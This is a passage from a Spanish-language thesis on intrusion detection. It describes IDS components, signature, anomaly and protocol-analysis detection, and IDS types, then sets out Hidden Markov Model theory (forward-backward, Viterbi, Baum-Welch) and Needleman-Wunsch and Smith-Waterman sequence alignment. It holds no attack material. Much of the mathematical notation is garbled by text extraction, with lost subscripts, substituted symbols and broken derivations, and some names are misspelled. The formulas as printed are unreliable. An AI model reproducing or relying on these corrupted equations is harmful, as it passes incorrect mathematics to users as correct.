El NIST [58] define los siguientes componentes tipicos de un sistema de deteccion de
intrusos:

Agentes o sensores: Son los médulos encargados de monitorear la actividad.
El término “sensor” se utiliza en IDS que hacen monitoreo de redes, mientras
que “agente” se refiere a las tecnologias IDS que funcionan dentro de los
sistemas.

Servidor de gestion: Es el dispositivo central que recibe informacion de los
agentes o los sensores. Es capaz de realizar andlisis de los eventos y
categorizar actividad que no pueden identificar individualmente los agentes y
sensores, tal como eventos que han sido comenzados desde la misma direccion
IP. Los IDS mas pequefios suelen no tener servidores de gestién, mientras que
los méas grandes suelen tener multiples servidores.

Servidor de base de datos: Es un repositorio de la informacién almacenada por
los sensores y agentes.

Consola: Es un programa que sirve de interfaz con los otros componentes del
IDS, de manera genérica sirve para realizar las funciones de administracion,
tales como la configuracién de sensores y la consulta de reportes.

2.4.2. METODOLOGIAS DE DETECCION COMUNES

El NIST en su guia para IDS [58] y Endorf, Schultz y Mellander en [26] definen las 3
clases primarias de metodologias usadas para detectar intrusos, de éstas se derivan
todas las tecnologias modernas. Muchas de las tecnologias comerciales usan varias
metodologias de manera simultanea para proveer una proteccion mas amplia y precisa.
Las clases son:

Deteccién basada en firmas: Consiste en la deteccibn de patrones que
corresponden a amenazas conocidas a partir de comparaciones con firmas
preestablecidas de ataques. Entre las firmas pueden contemplarse palabras
claves (como ‘root’ o ‘admin’), correos electronicos con adjuntos ejecutables, la
ocurrencia de ciertas banderas en los paquetes TCP (como tener activas 3 0
mas banderas de manera simultdnea) o valores inconsistentes de variables de
configuracion.
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La deteccion de firmas es el método mas sencillo de deteccion pues centra todo
su potencial en labores de comparacién, sin embargo suele ser muy efectivo
para prevenir ataques conocidos, aunque altamente inefectivo contra ataques
desconocidos o variantes de ataques conocidos.

e Deteccion de anomalias: Consiste en la comparacion de actividad considerada

normal contra actividad que contiene desviaciones significativas. El proceso se
basa en la obtencién de perfiles de comportamiento, los cuales representan la
actividad normal de los usuarios, sistemas, conexiones de red o aplicaciones, los
cuales son después comparados con los comportamientos recientes para
determinar si se estan presentando desviaciones. Habitualmente los IDS de
detecciobn de anomalias se basan en métodos estadisticos para realizar las
comparaciones.
La deteccién de anomalias es muy efectiva para detectar ataques desconocidos,
sin embargo el proceso de generacion de perfiles suele tardar varios dias e
incluso semanas, adicionalmente, si el ambiente donde se generan los perfiles
de actividad normal tiene presencia de ataques, los perfiles estaran catalogando
los ataques como actividad normal. Por otro lado, la deteccion de anomalias
tiende a encontrar muchos ataques inexistentes, los cuales suelen ser
actividades benignas que se desvian parcialmente de los patrones.

e Andlisis de protocolos: Consiste en la comparacion de los eventos observados
con respecto a perfiles predeterminados de actividad de los diferentes
protocolos. Se diferencia de la deteccién de anomalias porque no determina los
perfiles a partir de la actividad especifica del sistema que se esta monitoreando
sino de perfiles generados por los desarrolladores o de los estandares conocidos
de funcionamiento (como los IETF?* o los RFC??). El andlisis de protocolos
consigue “entender” el estado en el que se encuentran las redes o los protocolos
de transporte y aplicacion y mantener un control sobre su funcionamiento tipico.
El andlisis de protocolos es muy efectivo al momento de detectar secuencias
sospechosas de comandos, longitudes inconsistentes en los parametros 0 usos
inapropiados de los protocolos de comunicacion, sin embargo es una
metodologia muy demandante en recursos de computo debido a la complejidad
de los analisis, lo que puede desencadenar una alteracion en el desempefio de
los sistemas. Adicionalmente, en muchas ocasiones es dificil mantener un
analisis consistente debido a las diferentes implementaciones de un mismo
protocolo realizadas por diferentes desarrolladores.

El objetivo fundamental de estas metodologias es la identificacibn temprana de
actividades anOmalas en las redes o sistemas, las cuales se encuentran
suficientemente desviadas de la actividad normal del entorno particular. No importa que
tanta diferencia o similitud haya entre ambos tipos de actividad. Independientemente de

! Internet Engineering Task Force
2 Request for Comments
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la metodologia de deteccion el esquema de andlisis es similar en todos los IDS. Para
Endorf, Schultz y Mellander en [26] el esquema puede dividirse en 4 etapas diferentes:

1.

Preprocesamiento: Consiste en la recoleccion de datos en los sensores o
agentes, la organizacion de los datos bajo algun esquema de clasificacién y el
formateado, para al terminar entregar una plantilla de deteccidon que represente
los datos capturados.

Andlisis: Consiste en tomar las plantillas de deteccion y compararlas con la base
de conocimiento de intrusiones que esta almacenada en la base de datos, si la
intrusion es positiva puede almacenarse para analisis posterior o puede ser
descartada.

Respuesta: En un IDS la respuesta consiste en la generacion de la alarma y el
suministro de las intrusiones almacenadas para que la situacibn sea
manualmente analizada y se tomen las medidas pertinentes.

Refinamiento: Esta fase consiste en la mejora de los esquemas de deteccién de
los IDS a partir de la actividad previa y las intrusiones detectadas, esta orientada
a reducir la cantidad de reportes falsos de ataques con el fin de optimizar el
funcionamiento y la deteccion.

Un IDS debe seguir el esquema general para poder ofrecer una proteccion efectiva.
2.4.3. TIPOS DE IDS

Aungue existen muchas tecnologias de deteccidn de intrusos, todas pueden agruparse
en unos pocos grupos que estdn determinados por los tipos de eventos que son
monitoreados y/o la manera en como estan siendo utilizados. Endorf, Schultz y
Mellander en [26] dividen los IDS en 2 categorias principales: IDS de clientes (HIDS?) e
IDS de red (NIDS?*); por su parte el NIST en [58] agrega un par adicional de categorias
que responden a los IDS inaldmbricos y a los analizadores de comportamientos de red
(NBA®), estas 4 categorias enmarcan todas las tecnologias actuales.

HIDS: Son todos los IDS que monitorean las caracteristicas y los eventos que
ocurren en un solo sistema, denominado cliente, en busca de actividad
sospechosa. Son habitualmente desarrollos de software que utilizan agentes que
mantienen informacién de los recursos del sistema. La informacion que
habitualmente se monitorea consiste en trafico de red (del sistema), bithcoras de
sistema, procesos activos, aplicaciones comunes, modificacidbn y acceso a
archivos o cambios en las configuraciones.

%3 Host-based Intrusion Detection System
4 Network-based Intrusion Detection System
%> Network Behavior Analysis
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Figura 15. IDS de Clientes. Fuente [58]

NIDS: Son aquellos IDS que monitorean las redes de comunicaciones en
busqueda de paquetes sospechosos, pueden estar en segmentos particulares
de la red o estar implementados en dispositivos que realizan automaticamente el
analisis. Suelen estar ubicados como barreras entre redes, comunmente en la
proximidad de firewalls y enrutadores de borde, servidores de redes privadas
virtuales o redes inalambricas. Estos IDS capturan informacién sobre protocolos
de red (IP), transporte (TCP y UDP) y aplicaciones (HTTP, POP3, etc.).
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Figura 16. IDS de red. Fuente [58]

e IDS Inalambricos: Son los IDS que monitorean el trafico de redes inalambricas,
su funcionamiento es idéntico al de un NIDS pero no estan disefiados para
identificar intrusiones en protocolos de capas superiores (habitualmente no
pueden analizar protocolos desde la capa de transporte).
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Figura 17. IDS inalAmbrico. Fuente[58]

NBA: Son IDS que examinan trafico de red para identificar amenazas que
puedan generar flujos inusuales de trafico, como los ataques de negacion de
servicio (tratados en la seccién 2.3), algunas formas de malware (gusanos, virus,
etc.) y mal uso de recursos. Los NBA se utilizan habitualmente para monitorear
las redes internas de las organizaciones, aunque también suelen ser usados
para monitorear los flujos de paquetes entre las redes internas y externas (como
los flujos de red hacia internet).
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Figura 18. Analizador de Comportamiento de Red. Fuente [58]

Los HIDS y NIDS han sido producidos comercialmente desde hace mas de una década
[58], mientras que los IDS inalambricos y los NBA son aproximaciones mas recientes y
poco comerciales. Es comun ver enfoques de IDS hibridos [26] que usan en conjunto
dos 0 mas de los tipos de IDS citados, habitualmente HIDS y NIDS coordinados por un

servidor de administracion centralizado.
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2.5. EJEMPLOS DE IDS

Tanto en la academia como comercialmente se han implementado muchos tipos
diferentes de IDS, todos siguen los mismos objetivos y se ajustan a las metodologias de
deteccion citadas en la seccién 2.4.2, el objetivo de esta parte del documento es citar
algunos ejemplos de desarrollos e investigaciones que demostraran la importancia del
campo y el interés de la comunidad internacional en continuar desarrollando esquemas
gue mejoren las capacidades de deteccion y la eficiencia de los sistemas de deteccion
de intrusos.

Entre los desarrollos se encuentran:

e |DS basados en Redes Neuronales [8][14][36][72].
e IDS basados en Maquinas de Soporte Vectorial [14].
¢ IDS basados en Mineria de Datos [36][73].

Adicionalmente se han realizado investigaciones de multiples técnicas y métodos para
realizar la deteccion de anomalias, entre las que cabe resaltar:

Modelos de clasificacion de paquetes [62].

Sistemas Expertos basados en Agentes y reglas [8][62].
Modelos de pruebas estadisticas [8].

Modelos de alineamiento de secuencias [21][64].

Dados estos ejemplos es mas que clara la necesidad de continuar la investigacién en el
area de deteccion de intrusos, es claro que la creciente complejidad de las redes y los
sistemas, asi como la constante aparicién de nuevos servicios y tecnologias hace que
la deteccién sea un campo de rapida evoluciéon y donde se necesitan esquemas
capaces de acoplarse a estos cambios sin perder su efectividad de deteccion. Los
multiples desarrollos y la diversa gama de algoritmos, técnicas y métodos que han sido
probados demuestran que aun no existe una solucién definitiva a la deteccion de
ataques y que todas las investigaciones tendientes a brindar nuevas soluciones en el
campo son bienvenidas, en consecuencia el presente trabajo de investigacion brinda
una alternativa adicional a la deteccion de intrusiones.
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3. MODELOS OCULTOS DE MARKOV

Un Modelo Oculto de Markov (conocidos como HMM, Hidden Markov Model) es una
herramienta estadistica utilizada cominmente para modelar secuencias generativas
que pueden ser caracterizadas como un proceso estocastico que genera una secuencia
observable [10]. Los HHM han encontrado multiples nichos de aplicacion en diversas
areas relacionadas con el procesamiento de sefiales. Se pueden encontrar aplicaciones
en reconocimiento de voz [55], en el analisis de expresiones de genes bioldgicos [59],
reconocimiento facial [7] y el perfilado de protocolos [22][31][66][69][70].

De manera muy general, un Modelo Oculto de Markov es una cadena de Markov que
representa un proceso y que es capaz de generar observaciones a medida que el
proceso es representado en la cadena, el presente capitulo abordara la teoria sobre los
modelos y sus caracteristicas.

3.1. CADENAS DE MARKOV

Una cadena de Markov [10][25][27][50][65] es un proceso estocastico que representa
un sistema mediante un conjunto de estados discretos finitos y un conjunto de
probabilidades de transicién entre estados, se representa usualmente como un grafo
dirigido, donde cada uno de los nodos representa un estado del sistema y cada uno de
los arcos dirigidos representan las transiciones posibles entre estados. Se utilizan
comunmente para representar sistemas que se pueden describir con estados, los
cuales son mutuamente excluyentes pero que juntos describen al sistema en su
totalidad.

De manera formal, una Cadena de Markov se define [27][50][55] como un conjunto de N
estados diferentes: S,5,S3, ..., Sy l0s cuales representan un sistema que se mueve de un
estado a otro a intervalos discretos y regularmente espaciados de tiempo, con una
probabilidad dada dependiendo de los valores de estado anterior. La posicién de la
cadena en el instante de tiempo t se denota como q;,t = 1,2, ...,n. Asociado a este
conjunto de estados existe una matriz de probabilidades de transicion entre los mismos

AL, j) = a5 = P(qk = Sjlqx-1 = Sl-), las cuales se asumen independientes del tiempo y
deben satisfacer que:

aijZO
N
Zaijzl

Jj=1
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Una cadena de Markov puede contemplarse como un autdbmata estocastico [27] en el
cual el sistema de estudio se mueve de un estado S; a un estado S; con una
probabilidad a;;, y en la cual la probabilidad de transicion es la misma para cualquier t.
Una cadena de Markov también define las probabilidades iniciales m;, que son la
probabilidad de que el primer estado en la cadena sea S;:

m; = P(q1 = S)
Satisfaciendo que:
N
ZTEi =1
i=1
0<m<1

Una cadena de Markov se puede describir como un tupla ({Sy }xs0, 7, A).

a12

ais ads2

703

aAzs3

Figura 19. Cadena de Markov. Fuente [27]

Para que la cadena pueda decirse de Markov de primer orden es necesario que la
misma cumpla la Regla de Markov: “El estado actual del sistema sélo depende en
probabilidad del estado inmediatamente anterior”, de manera que [65]:

P(qx = Sjlqx-1 = Sis -, 4o = Sn) = P(ax = Sjlqx-1 = S;)

En un modelo de Markov [27] todos los estados son observables. En cualquier tiempo t
se conoce q;, Y mientras el sistema se mueve de un estado a otro, es posible obtener
una secuencia de observaciones correspondientes a la secuencia de estados. Asi pues
la salida del proceso es un conjunto de estados a cada instante del tiempo donde cada
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estado corresponde a un evento observable. Esa secuencia de observaciones se
denota como 0 = Q = {q4, 9., ---, q+}, cuya probabilidad de ocurrencia esta dada como:

T
P(0 = Q14,m) = P(a) | [Pl =7, 0q,0, - g ras
t=2

Donde mr,, es la probabilidad de que el primer estado sea q,, a4, 4, €S la probabilidad de
transicion desde g, hasta q, y asi sucesivamente. La multiplicacibn de las
probabilidades de transicion da como resultado la probabilidad de obtener la secuencia
completa.

3.2. MODELOS OCULTOS DE MARKOV

Un Modelo Oculto de Markov es una cadena de Markov observada en presencia de
ruido[13], de manera formal, un Modelo Oculto de Markov [7][10][25][27][55] es un
proceso estocastico bivariado, el cual consiste de una cadena de Markov {S;}rso NO
observable y un proceso estocastico {O;}xso, que representa un conjunto finito de
observaciones que dependen del estado actual de la cadena de Markov, de modo tal
gue a medida que el sistema pasa de estado a estado se genera una observacién que
es una funcion probabilistica del estado[27]. Los Modelos Ocultos de Markov se
diferencian de las cadenas de Markov en que no se puede saber con exactitud cual fue
la secuencia de estados que produjeron la secuencia de observaciones, dado que cada
uno de los estados no es visible (esta “oculto”).

Un HMM tiene los siguientes elementos[27][55]:

1. Numero de estados del modelo N. En las aplicaciones practicas cada uno de los
estados tiene una significancia fisica dentro del modelo y generalmente estan
interconectados de modo tal que todos los estados son accesibles desde
cualquier otro estado en un conjunto finito de transiciones. Los estados se
denotan como S = {5;, S,, ..., Sy}, donde cada estado del tiempo t se denota g;.

2. Numero de observaciones diferentes M. Es la cantidad de simbolos que puede
emitir un estado. Cada observacion corresponde a la salida fisica del sistema
gue esta siendo modelado. Se denotan como V = {v,, v,, ..., vy }. El conjunto total
de simbolos emitidos se denomina un alfabeto.

3. El conjunto de probabilidades de transicion de estados A = {a;;} donde a;; =
P(qe+1 = Sjlq: = S;) para1 < i,j < N.

4. El conjunto de probabilidades de emision de simbolos en un estado determinado
B = {b;(m)} donde b;(m) = P(0, = vylq, = S;) paral <j< Nyl <k <M.

5. La distribucién de probabilidad inicial de los estados m = {m;}, donde m; =
P(q1 = S))
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Como N y M estan definidos implicitamente en los otros parametros, el conjunto de
parametros para un HMM se puede definir de manera compacta como A = (4, B, ) [27].
Dado 4 el HMM puede ser usado para generar una secuencia de observaciones de
tamafo arbitrario 0 = 0,0, ...0;. Graficamente se puede representar de la siguiente
manera:

O1 02 O3 O1 02 O1 02 O3
o RN e) 0 folNoRNe]
aii a2 Az3 ass
a1 a32
T 703
702

alo

Figura 20. Modelo Oculto de Markov. Fuente [7]

En un HMM todas las inferencias estadisticas sobre el modelo, incluyendo las
inferencias sobre la cadena de Markov y el proceso observable, deben ser hechas
Unicamente en términos de las observaciones v,,, puesto que los estados Sy estan
ocultos.

3.3. PROBLEMAS BASICOS DE LOS HMM

Dada la estructura de un HMM se plantean 3 problemas basicos sobre el modelo
[10][27][55]:

1. Calcular eficientemente la probabilidad de una determinada secuencia observada
0 = {04,0,, ...,07} dado un modelo A, formalmente P(0|1). A esto se le conoce
como el problema de Evaluacién. Esto es necesario para determinar si una
observacién determinada ha sido generada por un modelo en especifico.

2. Encontrar la trayectoria de estados Q = {q,9, ... qr} mas probable dado el modelo
Ay la secuencia de observaciéon 0 = {0,, 0,, ..., 0}, formalmente, hallar Q* que
maximice P(Q|0,1). Este es el denominado problema de Decodificacion. Es
necesario para determinar que secuencia de estados ha generado la
observacion.
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3. Ajustar las probabilidades de transicion A, de emision B y el vector de
probabilidad inicial = para maximizar la probabilidad de la secuencia observada 0
dado el modelo 1. De manera formal, dado un conjunto de observacion de
entrenamiento X = {0*}, hallar 2* que maximice P(X|1). Este se denomina el
problema de Entrenamiento.

La solucién a cada problema se revisara en los siguientes numerales.

3.3.1. PROBLEMA DE EVALUACION

Este problema representa la medida de que tan bueno es un modelo para predecir una
secuencia de observaciones dada. Theodoridis y Koutroumbas en [10] plantean lo
siguiente para solucionar este problema:

Dada una secuencia de observaciéon 0 = {0,0,...0r} y una secuencia de estados
Q ={q.9 ...qr}, la probabilidad de observar la secuencia O dada la secuencia Q es:

P(010.2) = | [ P(01192) = b1(01) - bg2(0,) bz (0p)
t=1

Sin embargo de esta expresion so6lo se conoce la secuencia de observaciones 0 y el
modelo 1y se desconoce la secuencia de estados Q. Por otro lado la probabilidad de
una secuencia de estados Q es:

T
P(Q|4) = P(q1) l_[P(thqt-l) =TMq,%,q, - Aqr_1qr
t=2

Por lo tanto se puede calcular la probabilidad de las observaciones 0 dado el modelo 4
de la siguiente manera:

P(OID) = ) P(01Q, )PV
Q

PO|N) = Z Tq,bq,(01)q,4,bq,(02) ... agy_, g, bg, (O7)
4141

Sin embargo este método no es practico dado que hay NT posibles secuencias de
estados Q y el calculo de la sumatoria podria tardar demasiado, por tal motivo se
plantea un algoritmo denominado forward-backward procedure [27][55], el cual se basa
en la division de la secuencia en dos partes, una para el rango de observaciones
contemplado en [1,t] y el otro para el contemplado en [t + 1, T]. En primera instancia se
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define una variable hacia adelante® a,(i) que representa la probabilidad de observar la
secuencia parcial {0, ... 0.} dado el modelo A:

at(l) = P(Ol OtP ql = Slll)
La cual puede ser calculada recursivamente de la siguiente manera:

1. a;()) = P(04,q, = SilA) = P(04lq: = S;, HP(qy = ;1) = m;b;(01)
2. ar41(j) = P(O1 v Ot41, Qi1 = SjM)
= P(O1 v Ot41]qes1 = Sj’)l)P(Qt+1 = SjM)
= P(01 - 0¢lqeer = Sj»A)P(0t+1|qt+1 = Sjr/l)P(qt+1 = SjM)
= P(01 O Q1 = 5j|/1)P(Ot+1|CIt+1 = Sj:l)

= P(Ocs1lers = 52) ) P(01 00,0 = Sy Gess = 1)
i

= P(0t+1|qt+1 = Sj»l)z P(01 w06, qryr = Sjlqt = Si'A)P(Qt = 5|1
i

= P(0t+1|qt+1 = Sj,/l)
z P(0; .04 q: = Sil/l)P(Qt+1 = Slet = Si:/l)P(CIt = 5|
i

= P(0t+1|qt+1 = Sj»l)

> (00,00 = SiDP(qrs1 = lac = 5, 2)
i

= [ZN: a.(Da;j

i=1

bj(0¢+1)

Asi pues a.(i) define las primeras t observaciones hasta el estado S;, a.(i)a;; define el
movimiento al estado S; y la sumatoria representa los N posibles estados anteriores, por
altimo b;(0,.1) representa la probabilidad de generar la respectiva observacion en el
estado S;. Una vez calculadas las variables hacia adelante, el proceso de calculo de la
secuencia observada se vuelve:

N

N
POIN) = ) P(0.qr =Sl = ) ar(D

=1

% Eorward variable
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Donde a;(i) es la probabilidad de la secuencia completa y haber terminado en el
estado S;, y la suma representa todos los posibles estados finales. Con este algoritmo
se puede calcular completamente la probabilidad de una secuencia dedo el modelo.

St ayj
S: d2j
Si
Su Ay
t t+1
a(i) at(j)

Figura 21. Esquema de coOmputo de a,(i). Fuente [55]

Por otro lado, para el segundo rango contemplado entre [t + 1,T] se define la variable
hacia atras?’ B,(i), que representa la probabilidad de comenzar en el estado S; y
obtener la secuencia parcial de observaciones {0; ... 01}, formalmente:

Be(@) = P(O; ... Or|qs = St, )

La cual también puede ser calculada recursivamente:

1. Br()=1
2. Be(i) = P(Ot41--07lq: = Si )

= Z P(0t+1 w01, Qey1 = 5j|¢1t = Si'/l)

j
= Z P(0t+1 wO7|qa1 = Si,qt = Si'A)P(Qt+1 = Sj|Qt = Si;/l)

J

- Z P(Or411Ge+1 = Sj qr = Si, 2)

]

P(0t+2 e O7|qeyr = Sj'CIt = Si'/l)P(Qt+1 = Sj|CIt = Siyl)

%" Backward variable

33



= Z P(0t+1|Qt+1 = Sj'/l)

J

P(0t+2 w07|qt1 = Sj»A)P(CIt+1 = Sj|Qt = Si,/l)
N

= Z aijbj(0t+1),3t+1(f)

j=1

Asi la sumatoria representa el hecho de que el sistema estando en el estado S; puede
pasar a cualquiera de los siguientes N estados S; con una probabilidad a;; y desde alli
generar la observacion (t + 1), se llama algoritmo hacia atras porque S;,1(j) representa
todas las observaciones después de (t+ 1) pero las calcula partiendo desde la
observacion del tiempo T.

di S,
di2 S,
Si
aiN °
Sn
t t+1
B(i) B(j)

Figura 22. Esquema de computo de B,(j). Fuente [55]

Con este algoritmo también se puede calcular completamente la probabilidad de la
secuencia dado el modelo, se explican ambos porque tanto a;(i) como S;(j) seran
usados para resolver el problema de decodificacion y de entrenamiento.

3.3.2. PROBLEMA DE DECODIFICACION

Este problema representa la necesidad de encontrar la secuencia de estados que se
han seguido para obtener una secuencia de observacion determinada, dado que no se
puede encontrar una secuencia exacta el problema se traslada a encontrar la secuencia
de estados que tenga la probabilidad mas alta de haber generado la secuencia de
observacion. Para resolver el problema se plantea lo siguiente [27][55]:

Se define y,(i) como la probabilidad de estar en el estado S; en el tiempo t, dada la
observacion 0 = {0,0, ... 07} y el modelo A. y.(i), se puede calcular como:

ye(@) = P(q; = 5;10,4)
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_ P(0lq; = S, VP(q; = Si|A)
- P(0]2)

P(01 ... 0¢lq; = Si;, )P(O¢y1 - O7lqe = Sy VP(qr = Si| )
j=1P(0,q: = 5;14)

P(0; ...04,q¢ = Si|A)P(O¢41 ... O7|qe = Si, A)
YN P(0lge = S;,A)P(q: = S;|12)

_ a (D) (D)
@ (DB

Donde «,(i) muestra la parte inicial de la secuencia hasta el tiempo t y terminando en el
estado S;, B:(i) muestra la parte restante hasta el tiempo T. Luego para encontrar la
secuencia de estados mas probable para cada tiempo t se escoge el estado de mayor
probabilidad q; = argmax; y:(i) . Sin embargo bajo esta aproximacion se pueden
conseguir dos estados consecutivos S; y S; con la mas alta probabilidad a pesar de que

al-j = 0.

Para resolver este inconveniente se utiliza el algoritmo de Viterbi®® [10][27][55], el cual
calcula recursivamente el camino mas probable de estados evitando secuencias de
estados imposibles, por medio programacion dinamica. El algoritmo se basa en crear
una variable §,(i) que define la probabilidad del camino de mas alta probabilidad (valga
la redundancia) al tiempo t, teniendo en cuenta las primeras t observaciones y estando
en el estado S;:

St(l) = max P(qlqz w1, 9 = Si' 01 Otll)
q192---qt-1

Luego se calcula 6, (i) recursivamente de la siguiente manera:

1. 6:()) = m;bi(01)
lpl(i) =0
2. 6:(j) = max; 6;_1(i)a;;b;(0;)

Ye(j) = arg rniax 6t—1(i)aij
Al terminar de recorrer toda la observacion se calcula:

3. p* = max; 67(i)
qr = arg max 67(i)
L

28 Viterbi Path
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Para al final realizar un recorrido hacia atras y determinar la secuencia optima de
estados:

4. q; = ¢t+1(q;+1)7 t=T-1,T-2,..,1

Sj = 8t+1(j)=
3t(2)bj(Ot+1)

yt+1(j)=2

§ 2 §
t t+1

Figura 23. Recursién de Viterbi. Fuente [10]

Figura 24. Recorrido hacia atras. Fuente [10]

3.3.3. PROBLEMA DE ENTRENAMIENTO

Este problema busca encontrar los parametros del modelo 2 = (4, B, ) para que se
ajuste a datos de entrenamiento, de manera formal se define lo siguiente [27]:

Se debe calcular * que maximice la probabilidad de aparicion de las secuencias de
entrenamiento X = {0*}X_,. Para esto se define .(i,j) que representa la probabilidad
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de estar en el estado S; en el tiempo ¢ty en el estado S; en el tiempo t + 1 a partir de
una observacioén 0 y un modelo A:

§e(i,)) = P(Clt =Siqt+1 = Sj|0'/1)
El cual se puede calcular de la siguiente manera:
§e(i,)) = P(qt =S8,qt+1 = Sj|0,/1)

_ P(0|Clt =S5,qt41 = Sj')[)P(Qt =Suqt+1 = SjM)
B P(0]4)

_ P(0|CIt =S5,qt41 = Sj'/l)P(Qt+1 = Sj|CIt = Si:/l)P(Qt = 5|1
P(0|4)

1
- ('p(ou)) P01 - 0clq: = Sy DP(0rs11dt1 = 5, 2)

P(O42 - O071qeer = Sj, A)aijP(q, = Si|A)

1
= (o) P01 00t = SUDP(Ousalaues = 5, )

P(0t+2 - Or|qes1 = Sj'l)aij

_ a’t(i)bj (0t+1).3t+1(j)aij
221 PG = Sk Qeer = S0, 0|2)

_ at(i)bj(otﬂ)ﬁtﬂ (j)aij
Y 20 (k)b (0 1) Brir(Dag

Para calcular la probabilidad de estar en el estado S; al tiempo t se calcula

Ve = ) &)

J

Para calcular los parametros del modelo se utiliza el algoritmo Baum-Welch [27][55], el
cual es un algoritmo de maximizacion de esperados EM que calcula &:(i,j) y v:(i) a
partir de un modelo A inicial (que en la practica puede ser un modelo que tiene
transiciones entre estados y observaciones equiprobables) para luego re calcular 1 a
partir de &.(i,j) y y.(i). El proceso se repite hasta que P(0|A1) no decrezca.

En primera instancia se definen unas variables indicadoras z} definidas como:
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ZF — {1 Si q: = Si
l 0 encaso contrario

4t _{1 Siqe =S;Y qes1 = Sj

Y0 encaso contrario

Primero se calculan los valores esperados como:
E[z{] = y.(D)
Elzjj] = (0. ))

A partir de estos valores esperados se calcula la maximizacion de donde se extraen los
parametros estimados del modelo A. Se parte del hecho de que el nUmero esperado de
transiciones desde S; a S; es Y. ¢:(i,j) y el namero total de transiciones desde S; es

Y.+ v: (1), entonces la probabilidad de transicion estara definida como la relacion entre la
cantidad de transiciones entre estados y la cantidad total:

o Zemi &)
Y Z=_11 140
Por otro lado, la probabilidad de obtener una observacion v, en el estado S; es el

namero de veces que se presenta la observacion sobre el total de veces que el sistema
visita el estado:

Yi-17:(j) cuando (0, = v,)
T .
t=IYt(])
Cuando el entrenamiento se realiza a partir de varias secuencias de observaciones

X = {0*}¥_, se asumen independientes entre si y los parametros se calculan como los
promedios sobre todas las observaciones de todas las secuencias:

DY S wing 1 (F)

Aij Tri—1 krs
Ik(=12t§1 )/t (l)

P ZZL‘IW{‘(}) cuando (0f = vy,)

b;(m) = ——

! YK ST YD
~ r=1 Ve (D)
=T

Al final se tendra un modelo 1 = (4,B,#) que maximizara la probabilidad de las
secuencias de observaciones.
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3.4. ALINEAMIENTO DE SECUENCIAS

En el campo de la biologia y el analisis de estructuras de ADN es muy comun trabajar
alineando secuencias de bases nitrogenadas con el fin de descubrir similitudes
estructurales y/o funcionales a partir de la determinacion de las ubicaciones donde
ambas secuencias poseen las mismas bases (una secuencia se alinea a otra donde
ambas son idénticas), de manera general el andlisis de secuencias se dedica a
determinar si dos secuencias diferentes tienen alguna relacion, el proceso radica en
alinear la secuencia una contra la otra y decidir si el alineamiento es por azar o se dio
por alguna relacién entre las secuencias [25].

Durbin, Eddy, Krogh y Mitchison plantean en [25] que al momento de comparar
secuencias se debe buscar evidencia de que ambas secuencias han divergido de un
ancestro comun por procesos de mutacion o seleccion. El proceso de mutacion se
refleja como sustituciones, inserciones y borrados en la secuencia. Cada insercion y
borrado se denominan gaps. Todo el proceso busca generar un valor numérico que
muestre cual es la probabilidad de que una secuencia se parezca a otra por estar
relacionadas biolégicamente comparado con parecerse solo por coincidencia, ese valor
sera el reflejo de la cantidad de homologia entre las secuencias. Los alineamientos se
pueden hacer de a parejas (pairwise) o por grupos de secuencias (multiple), ambos
tipos de alineamientos se suelen abordar usando un esquema tipico de programacion
dindmica, la optimizacibn combinatoria, mediante la aplicacion de funciones de
penalizacion de gaps, pero todo el proceso puede ser generalizado mediante el uso de
Modelos Ocultos de Markov [63]. Existen, basicamente, 2 tipos de alineamientos:

e Alineamiento global: Se busca que el alineamiento esté ocupando la longitud
total de todas las secuencias. Es muy usado cuando el conjunto de secuencias
es muy similar y su tamafio es casi idéntico.

e Alineamiento local: Se busca que el alineamiento este concentrado en regiones
muy similares dentro de la secuencia sin importar las observaciones restantes.
Se usa cuando las secuencias son muy diferentes y se presume que guardan
secciones muy similares.

Alineamiento Global

—— AGAUCCGGAUGGU——GUGACAUGCGAU——AGG ——ACGUwWU
L \ \ R \ L

GuUCCAUCUG——UCUUGGGUGAC—UGCGAUAACAGUUACCUUWU

Alineamiento Local

—— AGCUCCAGAUGGA —— A —— AGG ——GCGAU

UGCGAU
NN
GUCCAAGUG——CCUUGG UGCGAUAACACUUAUCUG

Figura 25. Alineamiento Global y Alineamiento Local
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Como exponen Durbin, Eddy, Krogh y Mitchison en [25] la mejor manera de determinar
si un alineamiento de secuencias es bueno es calculando unas penalizaciones por los
gaps presentes en el alineamiento, de manera general existen 2 modelos para calcular
las penalizaciones, uno que esta asociado a la longitud g del gap y que se calcula
como:

y(g) = —gd

O uno mas general:

(@) =—-d—-(g—1De

Donde d es la penalizacién por que se abra un gap y e es la penalizacion por que se
extienda un gap. Ya con un sistema de puntuacion se requiere definir un algoritmo para
encontrar el alineamiento 6ptimo de las secuencias. Dadas las secuencias:

X = {x1, %9, e, Xn}

Y = {y1,x2, "'Jyn}

La pareja de residuos alineados se identifican como (i,j) donde la i corresponde a la
posicion en la secuencia X y j corresponde a la posicion en la secuencia Y, cada
alineamiento tiene asociada una puntuacion s(i,j) que determina el valor del
alineamiento de cada par de residuos. Para realizar un alineamiento global se utiliza el
algoritmo Needleman-Wunch [25]:

Dadas las secuencias:
X = {x1, %5, ., X0}
Y = {J’p le ""yn}

Se construye recursivamente la matriz F donde F(i,j) es el puntaje del mejor
alineamiento entre el segmento x; e y; de la siguiente manera:

1. F(0,0) =0

F(i—1,j—1) +s(x;, ) Si x; puede alinearse a y;
2. F(i,j) = max F(i—-1,j)—d Si x; esta alineado con un gap
F(i,j—1)—d Si y; esta alineado con un gap

Adicionalmente se definen las condiciones F(i,0) = —id y F(0,j) = —jd. Al finalizar el
valor de F(n,m) serd el valor del mejor alineamiento y es posible reconstruirlo
moviéndose desde la ultima posiciéon hacia la primera en la matriz, pasando de (i,j) a
algunadelasceldas (i—1,j—1),(i—1,j) o (i,j — 1).
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Para realizar un alineamiento local se utiliza el algoritmo Smith-Waterman, el cual es
muy similar algoritmo Needleman-Wunch explicado con anterioridad, la diferencia
fundamental radica en la posibilidad de comenzar o terminar alineamientos en cualquier
posicion de la secuencia [25]:

Dadas las secuencias:
X = {x1, %3, ., X}
Y = {yliXZ' "'!yn}

Se construye recursivamente la matriz F donde F(i,j) es el puntaje del mejor
alineamiento entre el segmento x; e y; de la siguiente manera:

1. F(0,0) =0

0 sisecomienza un nuevo alineamiento
F(i—1,j—1)+s(x;,y;) Six;puede alinearseay;
F(i—1,j) —d Six;estaalineado conun gap
F(i,j—1)—d Siyjestaalineado conun gap

2. F(i,j) = max

En este caso se definen las condiciones F(i,0) = 0y F(0,j) = 0. Al finalizar el mayor
valor de F(i,j) serd el valor del mejor alineamiento local y puede estar ubicado en
cualquier parte de la matriz F, también es posible reconstruir el alineamiento
